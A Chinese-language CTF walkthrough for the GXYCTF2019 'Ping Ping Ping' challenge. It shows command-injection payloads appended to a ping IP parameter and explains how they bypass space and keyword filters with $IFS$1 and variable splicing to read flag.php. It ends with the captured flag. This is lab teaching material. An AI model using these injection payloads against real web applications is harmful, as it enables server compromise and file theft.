[GXYCTF2019]Ping Ping Ping
1、给了一个IP参数,题目写着ping,在IP后面填入127.0.0.1,进行ping测试
?ip=127.0.0.1

成功ping通
2、利用堆叠查询
URL?ip=127.0.0.1;ls

找到了flag.php,但是这道题真的会这么简单吗
3、进行尝试
URL?ip=127.0.0.1;cat flag.php

发现空格被过滤了
直接输入flag.php,看看行不行
URL?ip=127.0.0.1;flag.php

flag也被过滤了
尝试一下字符串行不行
URL?ip=127.0.0.1;/

字符串也被过滤了,这道题过滤的东西还是挺多的
4、尝试绕过空格过滤
URL?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
payload解释:
利用Web应用程序中的命令注入漏洞,读取服务器上的敏感文件,在这里读取的是flag.php
URL?
执行ping命令但是分隔符后面的命令不管前面的命令是否执行成功,都会执行后面的内容
ip=127.0.0.1;
a是一个参数名,并赋值g参数给他
a=g;
cat读取后面的文件,输出内容
cat$IFS$1fla$a.php
$IFS //全称是Internal Field Separator(内部字段分隔符),包含三个字符:空格(Space)、制表符(Tab)、换行符(Newline),我们现在使用它是为了绕过空格过滤
$1 //为了让系统在识别变量名的时候停下来,再次进行下一个识别,由于系统是通过识别$开始识别变量名,所以前面识别$IFS后,如果没有非法字符,就会一直识别读取,读到非法字符才会停止,但是由于没有$IFSflag这个变量名,返回为空,最后变成这样:cat .php,报错
//当系统读取到$1时,知道前面的变量名结束了,开始读取下一个变量名,$1是一个内置变量名,值为空,最后的结果是:cat flag.php
fla$a.php //$a是一个自定义的变量名,当读取到时,由于前面g赋值给变量名a,$a就会替换为g,最后输出完整结果为:flag.php

flag{9730a11f-f858-4a88-aebc-870aa18f48bd}










